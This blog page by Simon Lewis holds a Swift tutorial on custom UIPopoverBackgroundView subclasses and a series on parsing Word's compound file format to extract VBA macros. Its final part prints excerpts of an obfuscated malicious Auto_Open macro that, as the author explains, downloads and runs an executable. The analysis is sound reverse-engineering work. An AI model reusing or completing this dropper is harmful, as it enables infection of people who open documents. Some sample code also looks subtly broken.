The UIPopoverBackgroundView class implements the UIPopoverBackgroundViewMethods protocol

The arrowBase Method

    static func arrowBase() -> CGFloat

Note that this is a static, i.e., class method

The base of an arrow (see below) must be the same for all directions and it must not change.

The arrowHeight Method

    static func arrowHeight() -> CGFloat

Note that this is a static, i.e., class method

The height of an arrow (see below) must be the same for all directions and it must not change.

The contentViewInsets Method

    static func contentViewInsets() -> UIEdgeInsets

Note that this is a static, i.e., class method

This method specifies the distances between the edges of the popover’s content and the edges of the background view’s frame. exclusive of the arrow.

Arrow Bases And Heights

BaseHeight

Subclassing The UIPopoverBackgroundView Class

The only way to make use of the UIPopoverBackgroundView class is to sub-class it and override both it properties and the three methods defined by the UIPopoverBackgroundViewMethods protocol.

The arrowDirection Property

It is not possible to override the arrowDirection property with a stored property so we need to define a computed
property.

To start with we don’t really know what we should be doing when getting or setting the value but the pseudo-code looks like this

    override var arrowDirection : UIPopoverArrowDirection
    {
        get
        {
            return ????
        }
    
        set
        {
            ???? = newValue
        }
    }

The arrowOffset Property

The same holds true for the arrowOffset property. It needs to be overridden by a computed property and we don’t really know what we will need to do.

    override var arrowOffset : CGFloat
    {
        get
        {
            return ????
        }
        
        set
        {
            ???? = newValue
        }
    }

The arrowBase Method

This is a ‘class’ method so there is not a lot of room for manoeuvre, We will will need to return some kind of constant value obtained from somewhere.

    override static func arrowBase() -> CGFloat
    {
        return ????
    }

The arrowHeight Method

The same is true for the arrowHeight method.

    override static func arrowHeight() -> CGFloat
    {
        return ????
    }

The contentViewInsets Method

This one we can do straight away

    override static func contentViewInsets() -> UIEdgeInsets
    {
        return UIEdgeInsets(top: 10.0, left: 10.0, bottom:10.0, right: 10.0)
    }

but its really not that exciting.

A Direction Digression Or When Is An Enum Not An Enum ?

For our purposes the arrow direction can be one of

  • Up

  • Down

  • Left

  • Right

This can be represented by the Swift enum

    enum Direction
    {
        case UP
        case DOWN
        case LEFT
        case RIGHT
    }

which results in switch statements that look like this

    switch direction
    {
        case .UP:
    
            ...
            
        case .DOWN:
        
            ...
            
        case .LEFT:
        
            ...
            
        case .RIGHT:
        
            ...
    }

What the API uses to represent the direction of an arrow is the type

    UIPopoverArrowDirection

which results in switch statements that look like this

    switch direction
    {
        case UIPopoverArrowDirection.Up:
    
            ...
    
        case .UIPopoverArrowDirection.Down:
    
            ...
    
        case .UIPopoverArrowDirection.Left:
    
            ...
    
        case .UIPopoverArrowDirection.Right:
    
            ...
            
        default:
        
            ...
    }

because in Swift UIPopoverArrowDirection is not an enum at all.

In Objective-C UIPopoverArrowDirection is defined like this

    typedef NSUInteger UIPopoverArrowDirection;

There are some associated constants defined using an anonymous enum

    enum {
        UIPopoverArrowDirectionUp = 1UL << 0,
        UIPopoverArrowDirectionDown = 1UL << 1,
        UIPopoverArrowDirectionLeft = 1UL << 2,
        UIPopoverArrowDirectionRight = 1UL << 3,
        UIPopoverArrowDirectionAny = UIPopoverArrowDirectionUp | UIPopoverArrowDirectionDown |
        UIPopoverArrowDirectionLeft | UIPopoverArrowDirectionRight,
        UIPopoverArrowDirectionUnknown = NSUIntegerMax
    };

This is a standard ‘C’ idiom which makes it possible to specify both an arrow direction and a set of arrow directions as values of the ‘type’ UIPopoverArrowDirection.

This translates to something like the following in Swift

    struct UIPopoverArrowDirection : RawOptionSetType {
        init(_ rawValue: UInt)
        init(rawValue rawValue: UInt)
        static var Up: UIPopoverArrowDirection { get }
        static var Down: UIPopoverArrowDirection { get }
        static var Left: UIPopoverArrowDirection { get }
        static var Right: UIPopoverArrowDirection { get }
        static var Any: UIPopoverArrowDirection { get }
        static var Unknown: UIPopoverArrowDirection { get }
    }

which provides a bit of syntactic sugar, and a little more type safety in that you cannot accidentally pass any old UInt to something expecting a UIPopoverArrowDirection value. Now you have to wrap it in a struct first !

In our case, semantically at least, the API shouldn’t be passing a value that is not equal to one of the static values Up, Down, Left, or Right but as the compiler is making clear there is nothing to stop it doing so programatically, hence the need for a ‘default’ case.

The problem with having to deal with a default case is that increases the complexity of the code for no gain whatsoever.

Each time we switch on a value of ‘type’ UIPopoverArrowDirection we have to decide what the ‘right thing’ to do is in the default case, even if that thing is nothing.

If we change the code containing the switch then the decision needs to be taken once again.

If we need to add another switch you need to make the decision again.

Its much easier and safer to work with values of type Direction internally, converting from the UIPopoverArrowDirection value at the point it is set and converting back again when the value is accessed

We can extend Direction quite simply to do the conversions for us

    extension Direction
    {
        static func fromPopoverArrowDirection(direction:UIPopoverArrowDirection) -> Direction?
        {
            switch direction
            {
                case UIPopoverArrowDirection.Up:
    
                    return .UP
    
                case UIPopoverArrowDirection.Down:
    
                    return .DOWN
    
                case UIPopoverArrowDirection.Left:
    
                    return .LEFT
    
                case UIPopoverArrowDirection.Right:
    
                    return .RIGHT
    
                default:
    
                    return nil
            }
        }
    
        func toPopoverArrowDirection() -> UIPopoverArrowDirection
        {
            switch self
            {
                case .UP:
    
                    return UIPopoverArrowDirection.Up
    
                case .DOWN:
    
                    return UIPopoverArrowDirection.Down
    
                case .LEFT:
    
                    return UIPopoverArrowDirection.Left
    
                case .RIGHT:
    
                    return UIPopoverArrowDirection.Right
            }
        }
    }

We’re Going To Need An ‘Arrow’

So far its been all arrows all the time so let’s define a nifty structure to hold all the arrow related stuff

    private struct Arrow
    {
        let height    : CGFloat   = 30.0
        let base      : CGFloat   = 20.0
    
        var direction : Direction = .UP
        var offset    : CGFloat   = 0.0
    }

a variable for storing one

    private var arrow  : Arrow = Arrow()

and a ‘prototype’ arrow for the static methods to access

    private static let PROTO_ARROW = Arrow()

New And Improved

We can now flesh out the implementations of the overridden methods and properties like so

    override static func arrowBase() -> CGFloat
    {
        return PROTO_ARROW.base
    }
    override static func arrowHeight() -> CGFloat
    {
        return PROTO_ARROW.height
    }

For the arrowDirection property, if we are ever handed an ‘invalid’ UIPopoverArrowDirection value we simply drop it on the floor. Its not clear what else we could do.

    override var arrowDirection : UIPopoverArrowDirection
    {
        get
        {
            return arrow.direction.toPopoverArrowDirection()
        }
    
        set
        {
            if let direction = Direction.fromPopoverArrowDirection(newValue)
            {
                arrow.direction = direction
            }
        }
    }
    override var arrowOffset: CGFloat
    {
        get
        {
            return arrow.offset
        }
    
        set
        {
            arrow.offset = newValue
        }
    }

Now What ?

Now we have to provide the ‘background’ for the popover.

By default the background is simply an arrow plus a rectangle.

In theory we could draw it but the documentation states that we should use images.

To do this we need to add two instances of UIImageView as subviews, one for the arrow and one for the ‘rest’

BasicBackground

The basic task is to work out where the two components of the background should go.

We need to set the frames of the two subviews on the basis of the arrow base and height, and the current values for the arrow’s direction and offset.

We can define a method on the Arrow struct which returns its frame given the bounds of its super view

    func frame(container:CGRect) -> CGRect
    {
        let containerMidX   = CGRectGetMidX(container)
        let containerMidY   = CGRectGetMidY(container)
        let containerWidth  = container.size.width
        let containerHeight = container.size.height
    
        let halfBase        = base/2.0
    
        let x    : CGFloat
        let y    : CGFloat
        let size : CGSize = frameSize()
    
        switch direction
        {
            case .UP:
    
                x = containerMidX + offset - halfBase
                y = 0.0
    
            case .DOWN:
    
                x = containerMidX + offset - halfBase
                y = containerHeight - height
    
            case .LEFT:
    
                x = 0.0
                y = containerMidY + offset - halfBase
    
            case .RIGHT:
    
                x = containerWidth - height
                y = containerMidY + offset - halfBase
        }
        return CGRect(x: x, y: y, width:size.width, height:size.height)
    }

When the arrow is ‘vertical’ the x coordinate of the origin is the same, and the arrow is either at the ‘top’ if the direction is .UP, or at the bottom if the direction is .DOWN.

When the arrow is ‘horizontal’ the y coordinate of the origin is the same and the arrow is on the left if the direction is .LEFT or on the right if the direction is .RIGHT.

This method calls the frameSize method

    private func frameSize() -> CGSize
    {
        switch direction
        {
            case .UP,
                 .DOWN:
    
                return CGSize(width: base, height: height)
    
            case .LEFT,
                 .RIGHT:
    
                return CGSize(width: height, height: base)
        }
    }

Since the layout is a function of the current values of the arrow’s direction and offset we need to add calls to the setNeedLayout method each time either of these values change.

    override var arrowDirection : UIPopoverArrowDirection
    {
        get
        {
            return arrow.direction.toPopoverArrowDirection()
        }
    
        set
        {
            if let direction = Direction.fromPopoverArrowDirection(newValue)
            {
                arrow.direction = direction
                setNeedsLayout()
            }
        }
    }
    override var arrowOffset: CGFloat
    {
        get
        {
            return arrow.offset
        }
    
        set
        {
            arrow.offset = newValue
            setNeedsLayout()
        }
    }

This ensures that the layoutSubviews method will be called when necessary.

    override func layoutSubviews()
    {
        let arrowFrame      = arrow.frame(self.bounds)
        var backgroundFrame = self.bounds
    
        switch arrow.direction
        {
            case .UP:
    
                backgroundFrame.origin.y    += arrowFrame.height
                backgroundFrame.size.height -= arrowFrame.height
    
            case .DOWN:
    
                backgroundFrame.size.height -= arrowFrame.height
    
            case .LEFT:
    
                backgroundFrame.origin.x   += arrowFrame.width
                backgroundFrame.size.width -= arrowFrame.width
    
            case .RIGHT:
    
                backgroundFrame.size.width -= arrowFrame.width
        }
    
        backgroundView?.frame = backgroundFrame
    
        arrowView?.image = arrowImages[arrow.direction]
        arrowView?.frame = arrowFrame
    }

Wiring It All Up

To get our UIPopoverBackgroundView sub-class to be used for a popover being presented via a segue we need to set the property

   var popoverBackgroundViewClass: AnyObject.Type?

of the UIPopoverPresentationController instance, managing the popover’s display.

This can be done in the appropriate prepareForSegue method

    override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?)
    {
        if let segueId = segue.identifier
        {
            switch segueId
            {
                case "CustomPopoverSegue":
    
                    let dvc = segue.destinationViewController as? UIViewController
                    let ppc = dvc?.popoverPresentationController
    
                    ppc?.popoverBackgroundViewClass = CustomPopoverBackgroundView.self
    
                default:
    
                    break
            }
        }
    }

Note that it is the class itself not an instance of the class which is assigned to the property.

About That Arrow Drawing …

It turns out that no actual drawing of arrows is required at runtime which is a bit disappointing.

This is not strictly true, you can draw them, it does appear to work, but you are supposed to use images.

You can, if you wish, use a single image and rotate it as necessary.

Alternatively, for those of us who do not entirely trust affine transformations, after all how do you know what they are really doing ?, you simply have one image for each direction, which you can of course draw, so all is not lost.

Here’s some very simple code for drawing a triangle on Mac OS X.

    func drawArrow(width:Int, height:Int, vertices:(CGPoint, CGPoint, CGPoint), colour:NSColor) -> NSData?
    {
        let bitmap = NSBitmapImageRep(
                         bitmapDataPlanes:
                             nil,
                         pixelsWide:
                             width,
                         pixelsHigh:
                             height,
                         bitsPerSample:
                             8,
                         samplesPerPixel:
                             4,
                         hasAlpha:
                             true,
                         isPlanar:
                             false,
                         colorSpaceName:
                             NSCalibratedRGBColorSpace,
                         bytesPerRow:
                             (4 * width),
                         bitsPerPixel:
                             32)
        
        NSGraphicsContext.saveGraphicsState()
        NSGraphicsContext.setCurrentContext(NSGraphicsContext(bitmapImageRep:bitmap!))
        
        let (v0, v1, v2) = vertices
        
        let path = NSBezierPath()
        
        path.moveToPoint(v0)
        path.lineToPoint(v1)
        path.lineToPoint(v2)
        path.lineToPoint(v0)
        path.closePath()
        
        colour.setFill()
        
        path.fill()
        
        NSGraphicsContext.restoreGraphicsState()
        
        return bitmap?.representationUsingType(.NSPNGFileType, properties: [NSObject: AnyObject]())
    }

Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

November 23, 2014

Swift vs. The Compound File Binary File Format (aka OLE/COM): Part Eleven — The Grand Finale

Once we have a VBAModule we can get hold of the macro source like this.

    func getModuleSource(cf:CompoundFile, module:VBAModule) -> String?
    {
        let stream = cf.getStream(storage: ["Macros", "VBA"], name: module.streamName)
        let data   = stream?.data()
    
        if data == nil
        {
            return nil
        }
    
        let offset = Int(module.offset)
        let bytes  = data!.bytes
        let start  = bytes + offset
        let size   = Int(stream!.size) - offset
    
        let decompressor = VBADecompressor(bytes:start, nBytes:size)
    
        if let decompressed = decompressor.decompress()
        {
            return
                NSString(
                    bytes:
                        decompressed.bytes,
                    length:
                        decompressed.length,
                    encoding:
                        NSASCIIStringEncoding)
        }
        else
        {
            return nil
        }
    }

There is only one VBA module in this particular file.

It starts like this

    Attribute VB_Name = "ThisDocument"
    Attribute VB_Base = "1Normal.ThisDocument"
    Attribute VB_GlobalNameSpace = False
    Attribute VB_Creatable = False
    Attribute VB_PredeclaredId = True
    Attribute VB_Exposed = True
    Attribute VB_TemplateDerived = True
    Attribute VB_Customizable = True
    Sub Auto_Open()

    ...

and ends with the canonical deobfuscation function.

    ...
    
    Public Function 'seekritFunction'(ByVal sData As String) As String
        Dim i       As Long
        For i = 1 To Len(sData) Step 2
        'seekritFunction' = 'seekritFunction' & Chr$(Val("&H" & Mid$(sData, i, 2)))
        Next i
    End Function

In between there is a lot of stuff like this

    ...
    
    GoTo lwaasqhrsst
    Dim gqtnmnpnrcr As String
    Open 'seekritFunction'("76627362776A7873756268") For Binary As #37555
    Put #37555, , gqtnmnpnrcr
    Close #37555
    lwaasqhrsst:
    Set kaakgrln = CreateObject('seekritFunction'("4D6963") + "ros" + "oft.XML" + "HTTP")

    GoTo gerkcnuiiuy
    Dim rqxnmbhnkoq As String
    Open 'seekritFunction'("757A76737169746D6D6370") For Binary As #29343
    Put #29343, , rqxnmbhnkoq
    Close #29343
    gerkcnuiiuy:
    claofpvn = Environ('seekritFunction'("54454D50"))

    GoTo vfvfbcuqpzg
    Dim vnklmvuptaq As String
    Open 'seekritFunction'("696F78686E716667726E6A") For Binary As #70201
    Put #70201, , vnklmvuptaq
    Close #70201
    vfvfbcuqpzg:
    kaakgrln.Open 'seekritFunction'("474554"), s8RX, False

    ...

which all looks very complicated until you realise that the first six lines of each block are a no-op.

There are approximately one hundred and fifty lines to start with of which about a half are ‘noise’.

What does it do ?

When the document is opened an executable (.exe) is downloaded from a hard-wired location and then run.

Thats it ? After all that ? ‘fraid so, a bit disappointing really isn’t it ? A spell-checker or something I expect. Very helpful of it really.

Still the Swift stuff was fun and the compound file stuff was ‘interesting’ !


Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

Swift vs. The Compound File Binary File Format (aka OLE/COM): Part Ten — Records, Records And More Records

The result of decompressing the contents of the dir stream object is almost as incomprehensible as the compressed data.

It consists of a large number of records of which we want a grand total of two per module.

The records we are interested in are preceded by a large number of records we are not interested in. Most of these records have a length field so it is possible to ‘skip’ them, but some of them do not, so there is nothing for it but to brute force our way through to the ones we want.

The top-level method

    func parse() -> [VBAModule]?
    {
        informationRecord()
        projectReferences()
        return modules()
    }

is reasonably tidy, the others just consist of a lot of calls to a variety of methods for reading the different types of record, for example

    private func informationRecord()
    {
        readRecord(0x01)
        readRecord(0x02)
        readRecord(0x14)
        readRecord(0x03)
        readRecord(0x04)
        readRecordTwo(0x05)
        readRecordTwo(0x06)
        readRecord(0x07)
        readRecord(0x08)
        readRecordThree(0x09)
        readRecordTwo(0x0c)
    }

The end result should be an array of containing one or more instances of VBAModule.

    struct VBAModule
    {
        let streamName  : String
        let offset      : UInt32
    }

A VBAModule is simply two pieces of information

  • the name of the stream object that contains the module’s compressed source, and

  • the offset within the stream object at which the compressed data starts.


Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

Swift vs. The Compound File Binary File Format (aka OLE/COM): Part Nine — Decompression Time

The compressed data in the dir stream object should comprise a signature byte, which is always one, followed by one or more ‘chunk’s each of which represents 4096 bytes of uncompressed data.

Compressed data should always be at the end of a stream object so the end of the compressed data is indicated by reaching the end of the stream object.

On that basis we can process the compressed data like this

    func decompress() -> ByteData?
    {
        if dataIn[0] != 1
        {
            return nil
        }
        dataInCurrent = 1
        while dataInCurrent < dataInEnd
        {
            if !chunk()
            {
                return nil
            }
        }
        return makeByteData()
    }

where dataIn is the compressed data to be processed.

A chunk comprises a two byte header followed by at least one ‘token sequence’.

A chunk header comprises

  • a twelve bit size

  • a three bit signature, and

  • a one bit flag

The size specifies the number of bytes in the chunk minus three.

The signature is always three (0x03).

The flag is one if the chunk contains compressed data, and zero otherwise.

We can process a chunk of compressed data like this

    private func chunk() -> Bool
    {
        let chunkInStart = dataInCurrent
        let header       = getUnsignedInt16()
    
        dataInCurrent += 2
    
        let size        = Int(header & 0x0FFF) + 3
        let signature   = (header >> 12) & 0x07
        let flag        = (header & 0x8000) != 0
    
        if signature != 3
        {
            return false
        }
    
        chunkOutStart = dataOutCurrent
    
        let chunkInEnd = min(chunkInStart + size, dataInEnd)
        
        if flag
        {
            while dataInCurrent < chunkInEnd
            {
                if !tokenSequence(chunkInEnd)
                {
                    return false
                }
            }
            return true
        }
        else
        {
            // uncompressed data not supported
            return false
        }
    }

A token sequence comprises a ‘flags byte’ followed by either

  • eight ‘token’s if it is not the last one in a chunk, or

  • between one and eight ‘token’s otherwise.

The i‘th bit in the flag byte specifies the type of the i‘th token.

If the bit is zero the token is a one byte ‘literal token’ otherwise it is a two byte ‘copy token’

To obtain the uncompressed data represented by a token sequence we need to read the flag byte from the compressed data and then iterate over all the bits or until we reach the end of the compressed data.

In each iteration we need to handle either a literal or a copy token depending upon whether the bit is zero or one.

    func tokenSequence(chunkInEnd:Int) -> Bool
    {
        let flagsByte = Int(dataIn[dataInCurrent])
    
        dataInCurrent += 1
    
        if dataInCurrent < chunkInEnd
        {
            for i in 0 ..< 8
            {
                switch ((flagsByte >> i) & 1) == 1
                {
                    case false where (dataInCurrent + 1) <= chunkInEnd:
        
                        literalToken()
        
                    case true where (dataInCurrent + 2) <= chunkInEnd:
        
                        copyToken()
        
                    default:
        
                        return false
                }
                if dataInCurrent == chunkInEnd
                {
                    // end of chunk no more tokens
                    break
                }
            }
            return true
        }
        else
        {
            // must be at least one token
            return false
        }
    }

A literal token is a single byte of uncompressed data so we copy it from the compressed data to the decompressed data.

    private func literalToken()
    {
        dataOut.append(dataIn[dataInCurrent])
        ++compressedDataCurrent
        ++decompressedDataCurrent
    }

A copy token is a little-endian 16 bit unsigned integer interpreted as two unsigned integers.

The unsigned integer in the low-order bits denotes a ‘length’ and the unsigned integer in the high-order bits denotes an ‘offset’.

The size of ‘offset’ can vary between a minimum of four bits and a maximum of twelve bits, with the size of ‘length’ correspondingly varying between a maximum of twelve bits and a minimum of four bits .

The size of ‘offset’ when a copy token is processed is a function of the amount of decompressed data at that point.

It is the smallest number of bits, nBits, that can be used to represent the amount of decompressed data minus one, or four if nBits is less than four.

To obtain the uncompressed data represented by a copy token we first need to compute the size of ‘offset’ and hence ‘length’ and extract the values.

Given an unsigned 32 bit integer i we can compute the smallest number of bits needed to represent it by counting the number of leading zeros.

This is a very brute force approach

    private func numberOfLeadingZeros(i: UInt32) -> UInt
    {
        var n    : UInt   = 0
        var mask : UInt32 = 0x80000000
    
        while (mask != 0) && ((i & mask) == 0)
        {
            mask >>= 1
            ++n
        }
        return n
    }

and this is a slightly less brute force approach.

    private func numberOfLeadingZerosAlt(var i: UInt32) -> UInt
    {
        var s : UInt = 0
    
        if (i & 0xFFFF0000) != 0
        {
            i >>= 16
            s = 16
        }
        if (i & 0xFF00) != 0
        {
            i >>= 8
            s += 8
        }
        if (i & 0xF0) != 0
        {
            i >>= 4
            s += 4
        }
        if (i & 0x0C) != 0
        {
            i >>= 2
            s += 2
        }
        if (i & 0x03) != 0
        {
            i >>= 1
            s += 1
        }
        if (i & 0x01) != 0
        {
            s += 1
        }
        return 32 - s
    }

The computed ‘offset’ + 1 gives the offset back from the end of the decompressed data at which to start copying.

The computed ‘length’ + 3 gives the amount of data to copy.

The data to copy is appended to the end of decompressed data.

    private func copyToken()
    {
        let copyToken = getUnsignedInt16()
    
        dataInCurrent += 2
    
        let chunkOutSize = dataOutCurrent - chunkOutStart
        let nBits        = max(32 - numberOfLeadingZerosAlt(UInt32(chunkOutSize - 1)), 4)
        let lengthMask   = 0xFFFF >> nBits
        let length       = (copyToken & lengthMask) + 3
        let offsetMask   = ~lengthMask
        let offset       = ((copyToken & offsetMask) >> (16 - nBits)) + 1
        let source       = dataOutCurrent - offset
        
        for i in 0 ..< length
        {
            dataOut.append(dataOut)
        }
        dataOutCurrent += length
    }

And thats it.

We should now have the original data that was compressed and stored in the dir stream object.


Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

November 22, 2014

Swift vs. The Compound File Binary File Format (aka OLE/COM): Part Eight — What Is It We Are Looking For Again ?

Using a CompoundFile instance we can create a Stream instance for any stream object in the file as long as we know what it is called.

If we continue to assume that whatever this particular compound file does is being done by macros, then we need to know where they are stored in a ‘word’ document.

To find this out we need to consult a second specification pithily entitled

    [MS-WORD]: Word (.doc) Binary File Format

According to section 2.1.9 Macros Storage

The Macros storage is an optional storage that contains the macros for the file. If present, it MUST be a Project Root Storage as defined in [MS-OVBA] section 2.2.1.

Curiously every other section which describes storage explicitly specifies the name, for example.

The Custom XML Data storage is an optional storage whose name MUST be “MsoDataStore”.

Section 2.1.9 is the only one that does not so we will have to assume for the moment that its name is going to be

    "Macros"

or something of that ilk.

Moving on to specification number three

    [MS-OVBA]: Office VBA File Format Structure

as referenced from section 2.1.9 quoted above, section 2.2.1 Project Root Storage starts

A single root storage. MUST contain VBA Storage (section 2.2.2) and PROJECT Stream (section 2.2.7).

Going further down the rabbit hole we find section 2.2.2 VBA Storage

A storage that specifies VBA project and module information. MUST have the name “VBA” (case- insensitive). MUST contain _VBA_PROJECT Stream (section 2.3.4.1) and dir Stream (section 2.3.4.2). MUST contain a Module Stream (section 2.2.5) for each module in the VBA project.

Its not obvious from that where the actual code is but a quick look at section 2.2.5 tells us.

A stream (1) that specifies the source code of modules in the VBA project. The name of this stream is specified by MODULESTREAMNAME (section 2.3.4.2.3.2.3). MUST contain data as specified by Module Stream (section 2.3.4.3).

So thats where the source code is but the name of the stream is elsewhere it appears.

In fact the name is in a MODULESTREAMNAME record which is in a MODULE record which is in PROJECTMODULES record which is in the “dir” stream.

In the face of all that its tempting to just guess which stream it must be. There can’t be that many of them can there ?

Assuming we can find it, what’s in it ?

A module stream, it turns out, contains a variable length record followed by the compressed source code, so even if we guess which stream it is not going to do us much good.

The length of the first variable length record is defined in a MODULEOFFSET record which is also contained within a MODULE record and so on and so forth.

There is nothing for it we are going to have to get hold of the “dir” stream.

We are looking for a stream named “dir” within a storage object which is definitely named “VBA” or “vba” or “VbA” or something like that, which is within a storage object which might be called “Macros”, maybe.

Trying

    let cff       = CompoundFileFactory()
    let cf        = cff.open(argv[1])
    let dirStream = cf?.getStream(storage: ["Macros", "VBA"], name: "dir")
    let data      = dirStream?.data()

results in a non nil value for data so we are nearly there.


Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

Older Posts »

Blog at WordPress.com.

Follow

Get every new post delivered to your Inbox.

Join 31 other followers

%d bloggers like this: